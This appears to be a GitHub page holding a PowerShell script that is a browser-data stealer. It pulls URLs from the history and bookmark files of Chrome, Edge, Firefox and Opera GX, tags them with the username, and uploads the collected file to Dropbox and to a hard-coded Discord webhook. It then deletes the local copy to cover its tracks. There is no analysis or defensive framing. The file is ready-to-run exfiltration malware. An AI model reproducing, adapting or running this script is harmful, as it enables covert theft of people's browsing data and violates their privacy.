-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathaabc
101 lines (87 loc) · 4.17 KB
/
aabc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# Define your Discord webhook URL
$discordWebhookUrl = "https://discord.com/api/webhooks/1281361137555869809/32rINAXAoh_FUILxTnt8Mq6KWdFuPTjXcoV6bmSD1Hsa4MLLouvkTOu1pHEtYbupWTqM"
function Get-BrowserData {
[CmdletBinding()]
param (
[Parameter(Position = 1, Mandatory = $true)]
[string]$Browser,
[Parameter(Position = 2, Mandatory = $true)]
[string]$DataType
)
$Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) {
$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"
} elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) {
$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
} elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {
$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"
} elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {
$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"
} elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {
$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"
} elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {
$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\History"
} elseif ($Browser -eq 'opera' -and $ DataType -eq 'bookmarks' ) {
$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks"
}
$Value = Get-Content -Path $Path | Select-String -AllMatches $regex | % {($_.Matches).Value} | Sort -Unique
$Value | ForEach-Object {
$Key = $_
if ($Key -match $Search) {
New-Object -TypeName PSObject -Property @{
User = $env:UserName
Browser = $Browser
DataType = $DataType
Data = $_
}
}
}
}
Get-BrowserData -Browser "edge" -DataType "history" >> $env:TMP\--BrowserData.txt
Get-BrowserData -Browser "edge" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt
Get-BrowserData -Browser "chrome" -DataType "history" >> $env:TMP\--BrowserData.txt
Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP--BrowserData.txt
Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\--BrowserData.txt
Get-BrowserData -Browser "opera" -DataType "history" >> $env:TMP\--BrowserData.txt
Get-BrowserData -Browser "opera" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt
function DropBox-Upload {
[CmdletBinding()]
param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[Alias("f")]
[string]$SourceFilePath
)
$outputFile = Split-Path $SourceFilePath -leaf
$TargetFilePath = "/$outputFile"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $db
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
}
if (-not ([string]::IsNullOrEmpty($db))) { DropBox-Upload -f $env:TMP\--BrowserData.txt }
function Upload-Discord {
[CmdletBinding()]
param (
[Parameter(Position = 0, Mandatory = $False)]
[string]$file,
[Parameter(Position = 1, Mandatory = $False)]
[string]$text
)
$hookurl = $discordWebhookUrl
$Body = @{
'username' = $env:username
'content' = $text
}
if (-not ([string]::IsNullOrEmpty($text))) {
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)
}
if (-not ([string]::IsNullOrEmpty($file))) {
curl.exe -F "file1=@$file" $hookurl
}
}
if (-not ([string]::IsNullOrEmpty($discordWebhookUrl))) { Upload-Discord -file $env:TMP\--BrowserData.txt }
# Clean up
Remove-Item -Path $env:TEMP\--BrowserData.txt